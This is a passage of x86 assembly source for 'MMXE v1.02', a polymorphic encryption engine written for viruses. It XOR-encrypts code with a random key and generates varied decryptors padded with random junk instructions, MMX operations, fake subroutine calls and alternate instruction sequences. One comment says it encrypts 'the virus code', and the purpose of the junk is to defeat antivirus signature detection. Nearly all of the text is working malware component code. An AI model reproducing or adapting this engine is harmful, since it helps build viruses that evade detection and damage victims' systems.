ret

; --- MMXE rlz!

db 00h,"[MMXE v1.02]",00h ; Engine mark

; --- Initialization & Uninitialization routines

@@init_mmxe:
mov dword ptr [ebp+@@ptr_data2enc],esi
mov dword ptr [ebp+@@ptr_buffer],edi
mov dword ptr [ebp+@@size2enc],ecx
shr ecx,2
mov dword ptr [ebp+@@size2cryptd4],ecx
and byte ptr [ebp+@@init_mmx?],00h
and word ptr [ebp+@@flags],00h
call random
mov dword ptr [ebp+@@enc_key],eax

@@get_key:
call r_range,08h ; Select the register that
or eax,eax ; will be used as KEY
jz @@get_key
cmp eax,_ESP
jz @@get_key
mov byte ptr [ebp+@@reg_key],al
mov ebx,eax
@@get_ptr2data:
call r_range,08h ; Select the register that will
or eax,eax ; be used as pointer
jz @@get_ptr2data
cmp eax,_ESP
jz @@get_ptr2data
cmp eax,_EBP
jz @@get_ptr2data
cmp eax,ebx
jz @@get_ptr2data
mov byte ptr [ebp+@@reg_ptr2data],al
mov ecx,eax
@@get_counter:
call r_range,08h ; Choose the reg that will
or eax,eax ; be used as counter :)
jz @@get_counter
cmp eax,_ESP
jz @@get_counter
cmp eax,ebx
jz @@get_counter
cmp eax,ecx
jz @@get_counter
mov byte ptr [ebp+@@reg_counter],al
mov edx,eax
@@get_delta:
call r_range,08h ; Select the register that
or eax,eax ; will be used for realocation
jz @@get_delta ; of the pointer
cmp eax,_ESP
jz @@get_delta
cmp eax,ebx
jz @@get_delta
cmp eax,ecx
jz @@get_delta
cmp eax,edx
jz @@get_delta
mov byte ptr [ebp+@@reg_delta],al
mov edx,eax
@@get_mmxptr2data:
call r_range,08h ; Now select one MMX register
mov byte ptr [ebp+@@mmx_ptr2data],al ; for be used as pointer
mov ebx,eax
@@get_mmxkey:
call r_range,08h ; And now a MMX register for
cmp eax,ebx ; be used as key (for PXOR)
jz @@get_mmxkey
mov byte ptr [ebp+@@mmx_key],al

mov dword ptr [edi],"EXMM"
ret

; --- Uninitialization routine

@@uninit_mmxe:
mov ecx,edi ; Obtain the size of genera-
sub ecx,dword ptr [ebp+@@ptr_buffer] ; ted shit
mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx
ret

; --- Useful subroutines used by the engine

@@get_register:
movzx ebx,byte ptr [ebp+@@reg_key] ; This routine will return an
movzx ecx,byte ptr [ebp+@@reg_ptr2data] ; unused register for be
movzx edx,byte ptr [ebp+@@reg_counter] ; used for play with garbage
movzx esi,byte ptr [ebp+@@reg_delta]
@@gr_get_another:
call r_range,08h
cmp eax,_ESP
jz @@gr_get_another
cmp eax,ebx
jz @@gr_get_another
cmp eax,ecx
jz @@gr_get_another
cmp eax,edx
jz @@gr_get_another
cmp eax,esi
jz @@gr_get_another
cmp al,byte ptr [ebp+@@reg_mask]
jz @@gr_get_another
ret

@@get_mmx_register:
movzx ebx,byte ptr [ebp+@@mmx_ptr2data] ; Does the same than above's
movzx ecx,byte ptr [ebp+@@mmx_key] ; code but with MMX registers
@@gmmxr_get_another:
call r_range,08h
cmp eax,ebx
jz @@gmmxr_get_another
cmp eax,ecx
jz @@gmmxr_get_another
ret

@@clear_mask:
and byte ptr [ebp+@@reg_mask],00h ; Clear the register mask
ret

@@is_register:
cmp al,byte ptr [ebp+@@reg_key] ; This is used for know if a
jz @@is_used ; register we want to use for
cmp al,byte ptr [ebp+@@reg_ptr2data]; any reason is selected for
jz @@is_used ; make any other important
cmp al,byte ptr [ebp+@@reg_counter] ; job.
jz @@is_used
cmp al,byte ptr [ebp+@@reg_delta]
jz @@is_used
cmp al,byte ptr [ebp+@@reg_mask]
jz @@is_used
mov cl,00h
org $-1
@@is_used:
stc
ret

@@gen_before_loop:
call r_range,05h
or eax,eax ; 0
jz @@try_deltaoffset
dec eax ; 1
jz @@try_loadsize
dec eax ; 2
jz @@try_loadpointer
dec eax ; 3
jz @@try_loadkey ; 4
jmp @@try_passkey2mmx ; 5

@@try_deltaoffset:
bt word ptr [ebp+@@flags],@DELTAOFFSET
jc @@gen_before_loop
call @@gen_deltaoffset
ret

@@try_loadsize:
bt word ptr [ebp+@@flags],@LOADSIZE
jc @@gen_before_loop
call @@gen_loadsize
ret

@@try_loadpointer:
bt word ptr [ebp+@@flags],@LOADPOINTER
jc @@gen_before_loop
bt word ptr [ebp+@@flags],@DELTAOFFSET
jnc @@gen_before_loop
call @@gen_loadpointer
ret

@@try_loadkey:
bt word ptr [ebp+@@flags],@LOADKEY
jc @@gen_before_loop
call @@gen_loadkey
ret

@@try_passkey2mmx:
bt word ptr [ebp+@@flags],@PASSKEY2MMX
jc @@gen_before_loop
bt word ptr [ebp+@@flags],@LOADKEY
jnc @@gen_before_loop
call @@gen_passkey2mmx
ret

@@gen_before_loop_non_mmx:
call r_range,04h
or eax,eax ; 0
jz @@try_deltaoffset_non_mmx
dec eax ; 1
jz @@try_loadsize_non_mmx
dec eax ; 2
jz @@try_loadpointer_non_mmx
jmp @@try_loadkey_non_mmx

@@try_deltaoffset_non_mmx:
bt word ptr [ebp+@@flags],@DELTAOFFSET
jc @@gen_before_loop
call @@gen_deltaoffset
ret

@@try_loadsize_non_mmx:
bt word ptr [ebp+@@flags],@LOADSIZE
jc @@gen_before_loop
call @@gen_loadsize
ret

@@try_loadpointer_non_mmx:
bt word ptr [ebp+@@flags],@LOADPOINTER
jc @@gen_before_loop
bt word ptr [ebp+@@flags],@DELTAOFFSET
jnc @@gen_before_loop
call @@gen_loadpointer
ret

@@try_loadkey_non_mmx:
bt word ptr [ebp+@@flags],@LOADKEY
jc @@gen_before_loop
call @@gen_loadkey
ret

; --- Encrypt data (very very weak, i know, but i don't care anyway)

@@crypt_data:
mov ecx,dword ptr [ebp+@@size2cryptd4]
mov ebx,dword ptr [ebp+@@enc_key]
mov edi,dword ptr [ebp+@@ptr_data2enc]
mov esi,edi
@@cl00p:lodsd
xor eax,ebx
stosd
loop @@cl00p
ret

; --- Garbage generators

@@gen_garbage:
inc byte ptr [ebp+@@recursion]
cmp byte ptr [ebp+@@recursion],RECURSION
jae @@gg_exit

cmp byte ptr [ebp+@@init_mmx?],00h
ja @@gg_mmx
@@gg_non_mmx:
mov eax,@@non_mmx_gbg
jmp @@gg_doit
@@gg_mmx:
mov eax,@@s_gbgtbl
@@gg_doit:
call r_range,eax
lea ebx,[ebp+@@gbgtbl]
mov eax,[ebx+eax*4]
add eax,ebp
call eax

@@gg_exit:
dec byte ptr [ebp+@@recursion]
ret

@@gen_some_garbage:
mov ecx,nGARBAGE
@@gsg_l00p:
push ecx
call @@gen_garbage
pop ecx
loop @@gsg_l00p
@@slip: ret

; =========== GARBAGERS ===========
; (the best of this engine i think)
; =================================

; Arithmetic register (16/32) to register (16/32)

@@gen_arithmetic_regx_regx:
call @@over_arxrx
dd offset (@@gen_arithmetic_reg16_reg16)
dd offset (@@gen_arithmetic_reg32_reg32)
@@over_arxrx:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_arithmetic_reg16_reg16:
mov al,66h
stosb
call @@gen_arithmetic_reg32_reg32
ret

@@gen_arithmetic_reg32_reg32:
call random
and al,00111000b
cmp al,00111000b
jz @@gen_arithmetic_reg32_reg32
or al,00000011b
stosb

@@gar32r32:
call @@get_register
@@gar_shit:
shl eax,3
or al,11000000b
push eax
call random
and al,00000111b
xchg ebx,eax
pop eax
or al,bl
stosb
ret

; Arithmetic immediate (BYTE/WORD/DWORD) to register (16/32)

@@gen_arithmetic_regx_immx:
call @@over_arxix
dd offset (@@gen_arithmetic_reg16_imm16)
dd offset (@@gen_arithmetic_reg32_imm32)
@@over_arxix:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_arithmetic_reg16_imm16:
mov al,66h
stosb
call @@gen_arithmetic_reg32_imm32
dec edi
dec edi
ret

@@gen_arithmetic_reg32_imm32:
mov al,81h
stosb

call @@get_register
or al,al
jz @@gen_arithmetic_eax_imm32
push eax
@@avoid_cmp4:
call random
and al,00111000b
cmp al,00111000b
jz @@avoid_cmp4
or al,11000000b
pop ebx
or al,bl
stosb
call random
stosd
ret

@@gen_arithmetic_eax_imm32:
dec edi
@@avoid_cmp5:
call random
and al,00111000b
cmp al,00111000b
jz @@avoid_cmp5
or al,00000101b
stosb
call random
stosd
ret

; MOV immediate (BYTE/WORD/DWORD) to register (16/32)

@@gen_mov_regx_immx:
call @@over_mrxix
dd offset (@@gen_mov_reg16_imm16)
dd offset (@@gen_mov_reg32_imm32)
@@over_mrxix:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_mov_reg16_imm16:
mov al,66h
stosb
call @@gen_mov_reg32_imm32
dec edi
dec edi
ret

@@gen_mov_reg32_imm32:
call @@get_register
add al,0B8h
stosb
call random
stosd
ret

; MOV register (16/32) to register (16/32)

@@gen_mov_regx_regx:
call @@over_mrxrx
dd offset (@@gen_mov_reg16_reg16)
dd offset (@@gen_mov_reg32_reg32)
@@over_mrxrx:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_mov_reg16_reg16:
mov al,66h
stosb
@@gen_mov_reg32_reg32:
mov al,8Bh
stosb
call @@get_register
@@gmov_rib:
push eax
@@gmr2: call random
and eax,00000111b
cmp al,byte ptr [esp]
jz @@gmr2
pop ebx
shl ebx,3
or al,bl
or al,11000000b
stosb
ret

; MOVZX/MOVSX register (32),register (16)

@@gen_movzx_movsx:
call @@gmzxmsx
dd offset (@@gen_movzx_reg32_reg16)
dd offset (@@gen_movsx_reg32_reg16)
@@gmzxmsx:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_movzx_reg32_reg16:
mov ax,0B70Fh
stosw
jmp @@movzx_movsx_rib

@@gen_movsx_reg32_reg16:
mov ax,0BF0Fh
stosw
@@movzx_movsx_rib:
call @@get_register
shl eax,3
push eax
call random
and eax,00000111b
pop ebx
or al,bl
or al,11000000b
stosb
ret

; PUSH immediate (WORD/DWORD), garbage, POP register (16/32)

@@gen_push_immx_pop_regx:
call @@gpixprx
dd offset (@@gen_push_imm16_pop_reg16)
dd offset (@@gen_push_imm32_pop_reg32)
@@gpixprx:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_push_imm16_pop_reg16:
mov ax,6866h
stosw
call random
stosw

call @@gen_garbage

mov al,66h
stosb
call @@get_register
add eax,58h
stosb
ret

@@gen_push_imm32_pop_reg32:
mov al,68h
stosb
call random
stosd

call @@get_register
add eax,58h
stosb
ret

; PUSH register/segment (16/32), garbage, POP register (16/32)

@@gen_push_regx_pop_regx:
call @@gprxprx
dd offset (@@gen_push_reg16_pop_reg16)
dd offset (@@gen_push_reg32_pop_reg32)
@@gprxprx:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_push_reg16_pop_reg16:
mov al,66h
stosb
call r_range,08h
or al,50h
stosb

call @@gen_some_garbage

mov al,66h
stosb
call @@get_register
or al,58h
stosb
ret

@@gen_push_reg32_pop_reg32:
call r_range,09h
or eax,eax
jz @@gen_strange_push
dec eax
or al,50h ; Push REG32
stosb
@@put_pop32:
call @@gen_some_garbage

call @@get_register
or al,58h ; Pop REG32
stosb
ret

@@gen_strange_push:
call r_range,03h
xchg eax,ecx
jecxz @@gen_push_gs_or_fs
dec ecx
jecxz @@gen_push_es_or_ss
@@gen_push_cs_or_ds:
mov al,0Eh ; Put PUSH CS
call f_random
jz @@put_push
or al,10h ; Put PUSH DS
@@put_push:
stosb
jmp @@put_pop32

@@gen_push_es_or_ss:
mov al,06h ; Put PUSH ES
call f_random
jz @@put_push
or al,10h ; Put PUSH SS
jmp @@put_push

@@gen_push_gs_or_fs:
mov ax,0A00Fh ; Put PUSH FS
call f_random
jz @@put_push2
or ah,08h ; Put PUSH GS
@@put_push2:
stosw
jmp @@put_pop32

; CMP/TEST imm (BYTE/WORD/DWORD) or reg (16/32) with reg (16/32) and jx

@@gen_comparison_jx:
call @@gcjx
dd offset (@@gen_cmp_regx_regx)
dd offset (@@gen_cmp_regx_immx)
dd offset (@@gen_test_regx_regx)
dd offset (@@gen_test_regx_immx)
@@gcjx:
pop ebx
call r_range,04h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_cmp_regx_regx:
call @@gcrxrx
dd offset (@@gen_cmp_reg16_reg16)
dd offset (@@gen_cmp_reg32_reg32)
@@gcrxrx:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp @@call_eax&build_jmp

@@gen_cmp_reg16_reg16:
mov al,66h
stosb

@@gen_cmp_reg32_reg32:
mov al,00111011b
stosb
jmp @@gar32r32

@@gen_cmp_regx_immx:
call @@gcrxix
dd offset (@@gen_cmp_reg16_imm16)
dd offset (@@gen_cmp_reg32_imm32)
@@gcrxix:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
@@call_eax&build_jmp:
call eax
call r_range,10h
add al,70h
stosb
xor eax,eax

push edi
stosb
call @@gen_garbage
pop edx

mov ebx,edi
sub ebx,edx
dec ebx
mov byte ptr [edx],bl
ret

@@gen_cmp_al_imm8:
dec edi
mov al,00111100b
stosb
call random
stosb
ret

@@gen_cmp_reg16_imm16:
mov al,66h
stosb
call @@gen_cmp_reg32_imm32
dec edi
dec edi
ret

@@gen_cmp_reg32_imm32:
mov al,81h
stosb

call @@get_register
or al,al
jz @@gen_cmp_eax_imm32
push eax
or al,11111000b
pop ebx
or al,bl
stosb
call random
stosd
ret

@@gen_cmp_eax_imm32:
dec edi
mov al,00111101b
stosb
call random
stosd
ret

@@gen_test_regx_regx:
call @@gtrxrx
dd offset (@@gen_test_reg16_reg16)
dd offset (@@gen_test_reg32_reg32)
@@gtrxrx:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
@@call_eax&choose_jz_or_jnz:
call eax
mov al,74h
call f_random
jz @@put_a_jz
inc eax
@@put_a_jz:
stosb

xor eax,eax

push edi
stosb
call @@gen_garbage
pop edx

mov ebx,edi
sub ebx,edx
dec ebx
mov byte ptr [edx],bl
ret

@@gen_test_reg16_reg16:
mov al,66h
stosb

@@gen_test_reg32_reg32:
mov al,85h
stosb
jmp @@gar32r32

@@gen_test_regx_immx:
call @@gtrxix
dd offset

(@@gen_test_reg16_imm16) 
dd offset (@@gen_test_reg32_imm32)
@@gtrxix:
pop ebx
call r_range,02h
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp @@call_eax&choose_jz_or_jnz

@@gen_test_reg16_imm16:
mov al,66h
stosb
call @@gen_test_reg32_imm32
dec edi
dec edi
ret

@@gen_test_reg32_imm32:
mov al,0F7h
stosb

call @@get_register
or al,al
jz @@gen_test_eax_imm32
push eax
or al,11000000b
pop ebx
or al,bl
stosb
call random
stosd
ret

@@gen_test_eax_imm32:
dec edi
mov al,0A9h
stosb
call random
stosd
ret

; CALL to subroutines

@@gen_subroutine:
mov al,0E8h ; Construct normal subroutine
stosb ; ---------------------------
stosd
push edi ; Here we build the temporal
call @@gen_garbage ; call, some garbage, the
mov al,0E9h ; temporal jump over the call
stosb ; and more shit.
stosd
push edi

; call @@add_to_call_array ; Add to our subroutine array

call @@gen_some_garbage ; Put some garbage as the
mov al,0C3h ; body of the subr. plus a RET
stosb
call @@gen_garbage ; After RET, more garbage!

mov ebx,edi ; Now fix all the CALL & JMP
pop edx ; addresses made in the subr.
sub ebx,edx ; building stage, i.e. pass
mov [edx-4],ebx ; them from temporal to
pop ecx ; definitive...
sub edx,ecx
mov [ecx-4],edx
dec byte ptr [ebp+@@inside_call]
ret

; Generate strange and non-realistic opcodes

@@gen_weird_opcodes:
call r_range,05h ; 25% of rate if we arrived
or eax,eax ; here of put weird things...
jz @@do_it_weird
ret

@@do_it_weird:
call @@gwo
@@top:
dd offset (@@gen_bswap_reg32)
dd offset (@@gen_imul_reg16_reg16_imm16)
dd offset (@@gen_imul_reg32_reg32_imm32)
dd offset (@@gen_btx_reg16_reg16)
dd offset (@@gen_btx_reg32_reg32)
dd offset (@@gen_incdec_reg16_reg16)
dd offset (@@gen_incdec_reg32_reg32)
dd offset (@@gen_not_neg_reg16)
dd offset (@@gen_not_neg_reg32)
@@gwo:
pop ebx
call r_range,((offset @@gwo-offset @@top)/4)
mov eax,dword ptr [ebx+eax*4]
add eax,ebp
jmp eax

@@gen_bswap_reg32:
mov al,0Fh
stosb
call @@get_register
or al,0C8h
stosb
ret

@@gen_imul_reg16_reg16_imm16:
mov al,66h
stosb
call @@gen_imul_reg32_reg32_imm32
dec edi
dec edi
ret

@@gen_imul_reg32_reg32_imm32:
mov al,69h
stosb
call @@get_register
shl eax,3
push eax
call r_range,08h
pop ebx
or bl,al
or bl,11000000b
xchg eax,ebx
stosb
call random
stosd
ret

@@gen_btx_reg16_reg16:
mov al,66h
stosb
@@gen_btx_reg32_reg32:
mov al,0Fh
stosb
call r_range,03h
xchg eax,ecx
jecxz @@gen_bsr_or_bsf
dec ecx
jecxz @@gen_bts_or_btc
@@gen_bt_or_btr:
mov al,0A3h
call f_random
jz @@put_btx__
inc byte ptr [ebp+@@it_was_bt]
jmp @@put_btx
@@put_btx__:
add al,10h
@@put_btx:
stosb
call @@get_register
or al,11000000b
push eax
call r_range,08h
shl eax,3
pop ebx
or al,bl
stosb
cmp byte ptr [ebp+@@it_was_bt],01h
jz @@was_bt
ret
@@was_bt:
dec byte ptr [ebp+@@it_was_bt]
mov al,72h
call f_random
jz @@put_j?c
inc eax
@@put_j?c:
stosb
push edi
stosb
call @@gen_garbage
pop edx

mov ebx,edi
sub ebx,edx
dec ebx
mov byte ptr [edx],bl
ret

@@gen_bts_or_btc:
mov al,0ABh
call f_random
jz @@put_btx
add al,10h
jmp @@put_btx

@@gen_bsr_or_bsf:
mov al,0BCh
call f_random
jz @@put_btx_
inc eax
@@put_btx_:
stosb
call @@get_register
shl eax,3
or al,11000000b
push eax
call r_range,08h
pop ebx
or al,bl
stosb
ret

@@gen_incdec_reg16_reg16:
mov al,66h
stosb
@@gen_incdec_reg32_reg32:
call @@get_register
add al,40h ; Make it INC
call f_random
jz @@put_incdec
add al,08h ; Make it DEC
@@put_incdec:
stosb
ret

@@gen_not_neg_reg16:
mov al,66h
stosb
@@gen_not_neg_reg32:
mov al,0F7h
stosb
call @@get_register
@@put_neg_not1:
add al,0D0h ; Make it NOT
call f_random
jz @@put_neg_not
add al,08h ; Make it NEG
@@put_neg_not:
stosb
ret

; Generate simple calls to subroutines

@@gen_call_to_subroutine:
mov al,0E8h
stosb
xor eax,eax
stosd
push edi
call @@gen_garbage
mov al,0E9h
stosb
xor eax,eax
stosd
push edi
call @@gen_garbage
mov al,0C3h
stosb
call @@gen_garbage
mov ebx,edi
pop edx
sub ebx,edx
mov [edx-4],ebx
pop ecx
sub edx,ecx
mov [ecx-4],edx
ret

; Generate many possible ways for make a determinated register to be 0:
; XOR REG,REG/SUB REG,REG/PUSH 0 POP REG/AND REG,0/MOV REG,0

@@gen_zer0_reg:
call @@get_register ; For garbage generators
@@gen_zero_reg:
push eax
call r_range,06h
pop ecx
xchg eax,ecx
jecxz @@xor_reg_reg
dec ecx
jecxz @@sub_reg_reg
dec ecx
jecxz @@push_0_pop_reg
dec ecx
jecxz @@and_reg_0
dec ecx
jecxz @@mov_reg_0
@@or_reg_m1_inc_reg:
push eax
cmp al,_EAX
jnz @@or_reg_m1
@@or_eax_m1:
mov al,0Dh ; OR EAX,-1
stosb
xor eax,eax
dec eax
stosd
jmp @@orm1ir_inc_reg
@@or_reg_m1:
xchg eax,ebx
mov ax,0C883h ; OR REG,-1
or ah,bl
stosw
xor eax,eax
dec eax
stosb
xchg eax,ebx
@@orm1ir_inc_reg:
pop eax
add al,40h ; INC REG
stosb
ret

@@xor_reg_reg:
xchg eax,ebx
mov ax,0C033h ; XOR REG,REG
or ah,bl
shl ebx,3
or ah,bl
stosw
ret

@@sub_reg_reg:
xchg eax,ebx
mov ax,0C02Bh ; SUB REG,REG
or ah,bl
shl ebx,3
or ah,bl
stosw
ret

@@push_0_pop_reg:
push eax
mov ax,006Ah ; PUSH 00h
stosw ; POP REG
pop eax
add al,58h
stosb
ret

@@and_reg_0:
cmp al,_EAX
jnz @@and_regnoteax_0
@@and_eax_0:
mov al,25h
stosb
xor eax,eax
stosd
ret
@@and_regnoteax_0:
xchg eax,ebx
mov ax,0E083h ; AND REG,00
or ah,bl
stosw
xor eax,eax
stosb
ret

@@mov_reg_0:
add al,0B8h ; MOV REG,00000000
stosb
xor eax,eax
stosd
ret

; MMX Group 1:
;
; PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PACKSSWB/PCMPGTB/PCMPGTW/PCMPGTD/PACHUSWB
; PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PACKSSDW

@@gen_mmx_group1:
mov bx,600Fh
call r_range,0Ch
add bh,al
xchg eax,ebx
stosw
call @@build_mmx_gbg_rib
ret

@@gen_mmx_movq_mm?_mm?:
mov ax,6F0Fh ; MOVQ MM?,MM?
stosw
call @@build_mmx_gbg_rib
ret

@@gen_mmx_movd_mm?_reg32:
mov ax,7E0Fh ; MOVD MM?,E??
stosw
call @@get_mmx_register
shl eax,3
push eax
call @@get_register
xchg eax,ebx
pop eax
or al,bl
or al,11000000b
stosb
ret

; MMX Group 2:
;
; PCMPEQB/PCMPEQW/PCMPEQD

@@gen_mmx_group2:
mov al,0Fh
stosb
call r_range,03h
add al,74h
stosb
call @@build_mmx_gbg_rib
ret

; MMX Group 3:
;
; PSRLW/PSRLD/PSRLQ/PMULLW/PSUBUSB/PSUBUSW/PAND/PADDUSB/PADDUSW/PANDN/PSRAW
; PSRAD/PMULHW/PSUBSB/PSUBSW/POR/PADDSB/PADDSW/PXOR/PSLLW/PSLLD/PSLLQ/PMULADDWD

@@gen_mmx_group3:
mov al,0Fh
stosb
call @@__overshit
@@eoeo: db 0D1h,0D2h,0D3h,0D5h,0D8h,0D9h,0DBh,0DCh,0DDh,0DFh
db 0E1h,0E2h,0E5h,0E8h,0E9h,0EBh,0ECh,0EDh,0EFh
db 0F1h,0F2h,0F5h
sg3tbl equ ($-offset @@eoeo)
@@__overshit:
pop esi
call r_range,sg3tbl
mov al,byte ptr [esi+eax]
stosb
call @@build_mmx_gbg_rib
@@gmmx_goaway:
ret

@@build_mmx_gbg_rib:
call @@get_mmx_register
shl eax,3
push eax
call @@get_mmx_register
xchg eax,ebx
pop eax
or eax,ebx
or al,11000000b
stosb
ret

; --- Decryptor code generators

; Generate the routine for check for MMX presence, that should perform exactly
; the same action of the following code:
; MOV EAX,1
; CPUID
; BT EDX,17h
; JNC NOT_MMX

@@gen_check4mmx:
mov eax,08h
call r_range,08h
xchg eax,ecx
jecxz @@c4mmx_a_@@1
dec ecx
jecxz @@c4mmx_a_@@2
dec ecx
jecxz @@c4mmx_a_@@3
dec ecx
jecxz @@c4mmx_a_@@4
dec ecx
jecxz @@c4mmx_a_@@5
dec ecx
jecxz @@c4mmx_a_@@6
dec ecx
jecxz @@c4mmx_a_@@7
@@c4mmx_a_@@8:
xor eax,eax ; ZERO EAX
call @@gen_zero_reg ; SUB EAX,-1
mov al,2Dh
stosb
xor eax,eax
dec eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@7:
xor eax,eax ; ZERO EAX
call @@gen_zero_reg ; ADD EAX,1
mov al,05h
stosb
xor eax,eax
inc eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@6:
xor eax,eax ; ZERO EAX
call @@gen_zero_reg ; STC
mov ax,1DF9h ; SBB EAX,-2
stosw
xor eax,eax
dec eax
dec eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@5:
xor eax,eax ; ZERO EAX
call @@gen_zero_reg ; STC
mov ax,15F9h ; ADC EAX,00000000
stosw
xor eax,eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@4:
mov al,0Dh ; OR EAX,-1
stosb ; AND EAX,1
xor eax,eax
dec eax
stosd
mov al,25h
stosb
xor eax,eax
inc eax
stosd
jmp @@c4mmx_over_a
@@c4mmx_a_@@3:
mov eax,9058016Ah ; PUSH 01
stosd ; POP EAX
dec edi
jmp @@c4mmx_over_a
@@c4mmx_a_@@2:
xor eax,eax
call @@gen_zero_reg ; ZERO EAX
mov al,40h ; INC EAX
stosb
jmp @@c4mmx_over_a
@@c4mmx_a_@@1:
mov al,0B8h ; MOV EAX,1
stosb
xor eax,eax
inc eax
stosd
@@c4mmx_over_a:
call @@gen_garbage

mov ax,0A20Fh ; CPUID
stosw

call @@clear_mask
mov byte ptr [ebp+@@reg_mask],_EDX

call @@gen_garbage

call r_range,03h
or eax,eax
jz @@c4mmx_b_@@3
dec eax
jz @@c4mmx_b_@@2

@@c4mmx_b_@@1:
mov eax,17E2BA0Fh ; BT EDX,17h
stosd ; JC $+??
mov al,72h
stosb
jmp @@c4mmx_over_b
@@c4mmx_b_@@2:
mov eax,0000C2F7h ; TEST EDX,00400000h
stosd ; JZ $+??
mov eax,00740040h
stosd
dec edi
jmp @@c4mmx_over_b
@@c4mmx_b_@@3:
mov eax,7218EAC1h ; SHR EDX,18h
stosd ; JC $+??
@@c4mmx_over_b:
push edi
inc edi ; Fake data for temp. fill

call @@gen_garbage

mov al,0e9h ; RET
stosb

mov dword ptr [ebp+@@ptrto2nd],edi
xor eax,eax
stosd

call @@gen_garbage

pop ebx
mov edx,edi
sub edx,ebx
dec edx
mov byte ptr [ebx],dl

inc byte ptr [ebp+@@init_mmx?]

or word ptr [ebp+@@flags],_CHECK4MMX
ret

; Generate a routine for get the pseudo delta-offset, which will look like
; this one:
; CALL @@1
; [...]
; @@1: POP REG

@@gen_deltaoffset:
call r_range,10h
xchg eax,ebx
mov al,0E8h
stosb
xor eax,eax
stosd
mov dword ptr [ebp+@@tmp_call],edi
call @@gen_garbage
mov ecx,dword ptr [ebp+@@tmp_call]
mov ebx,edi
sub ebx,ecx
mov [ecx-4],ebx
mov al,58h
add al,byte ptr [ebp+@@reg_delta]
stosb
mov ebx,dword ptr [ebp+@@ptr_buffer]
sub ecx,ebx
mov dword ptr [ebp+@@fix1],ecx
or word ptr [ebp+@@flags],_DELTAOFFSET
ret

; Generate a routine for put in the register used as counter the size of the
; code we want to decrypt

@@gen_loadsize:
or word ptr [ebp+@@flags],_LOADSIZE
call r_range,02h
xchg eax,ecx
jecxz @@gls_@@2
@@gls_@@1:
mov al,68h ; PUSH size
stosb ; POP reg_size
mov dword ptr [ebp+@@size_address],edi
mov eax,dword ptr [ebp+@@size2cryptd4]
stosd
call @@gen_garbage
mov al,58h
add al,byte ptr [ebp+@@reg_counter]
stosb
ret
@@gls_@@2:
movzx eax,byte ptr [ebp+@@reg_counter]
add eax,0B8h ; MOV reg_size,size
stosb
mov dword ptr [ebp+@@size_address],edi
mov eax,dword ptr [ebp+@@size2cryptd4]
stosd
ret

; Generate the code that will make the pointer register to point exactly to
; the beginning of the code we want to encrypt or decrypt

@@gen_loadpointer:
mov eax,LIMIT
sub eax,dword ptr [ebp+@@fix1]
mov dword ptr [ebp+@@fix2],eax

call r_range,03h
or eax,eax
jz @@lp_@@3
dec eax
jz @@lp_@@2
@@lp_@@1:
mov al,8Dh ; LEA reg_ptr,[reg_delta+fix]
stosb
movzx eax,byte ptr [ebp+@@reg_ptr2data]
shl al,3
add al,10000000b
add al,byte ptr [ebp+@@reg_delta]
stosb
jmp @@lp_
@@lp_@@2:
mov al,8Bh ; MOV reg_ptr,reg_delta
stosb ; ADD reg_ptr,fix
movzx eax,byte ptr [ebp+@@reg_ptr2data]
shl eax,3
or al,byte ptr [ebp+@@reg_delta]
or al,11000000b
stosb
call @@gen_garbage
mov al,81h
stosb
mov al,0C0h
or al,byte ptr [ebp+@@reg_ptr2data]
stosb
jmp @@lp_
@@lp_@@3:
call @@clear_mask ; MOV reg_mask,fix2
call @@get_register ; LEA reg_ptr,[reg_mask+reg_delta+(fix+fix2)]
mov byte ptr [ebp+@@reg_mask],al

add al,0B8h
stosb
call random
stosd

push eax
call @@gen_garbage
pop edx

sub dword ptr [ebp+@@fix2],edx

mov al,8Dh
stosb
movzx eax,byte ptr [ebp+@@reg_ptr2data]
shl eax,3
or al,10000100b
stosb
movzx eax,byte ptr [ebp+@@reg_mask]
shl eax,3
or al,byte ptr [ebp+@@reg_delta]
stosb

@@lp_:
mov eax,dword ptr [ebp+@@fix2]
stosd
or word ptr [ebp+@@flags],_LOADPOINTER
ret

; Put in the register used as key the number used for the encryption of the
; virus code.

@@gen_loadkey:
call r_range,02h
xchg eax,ecx
jecxz @@glk_@@2
@@glk_@@1:
mov al,68h ; PUSH enc_key
stosb ; POP reg_key
mov eax,dword ptr [ebp+@@enc_key]
stosd
call @@gen_garbage
mov al,58h
add al,byte ptr [ebp+@@reg_key]
stosb
or word ptr [ebp+@@flags],_LOADKEY
ret
@@glk_@@2: ; MOV key_reg,enc_key
movzx eax,byte ptr [ebp+@@reg_key]
add eax,0B8h
stosb
mov eax,dword ptr [ebp+@@enc_key]
stosd
or word ptr [ebp+@@flags],_LOADKEY
ret

; Generate the code for pass the encryption key to an MMX register

@@gen_passkey2mmx:
mov ax,6E0Fh ; MOV mmx_key,reg_key
stosw
movzx eax,byte ptr [ebp+@@mmx_key]
shl eax,3
or al,byte ptr [ebp+@@reg_key]
or al,11000000b
stosb
or word ptr [ebp+@@flags],_PASSKEY2MMX
ret

; Just for know where we must loop the decryptor

@@getloopaddress:
mov dword ptr [ebp+@@l00paddress],edi
ret

; Pass the dword of code we are decrypting to the MMX register used for that
; matter

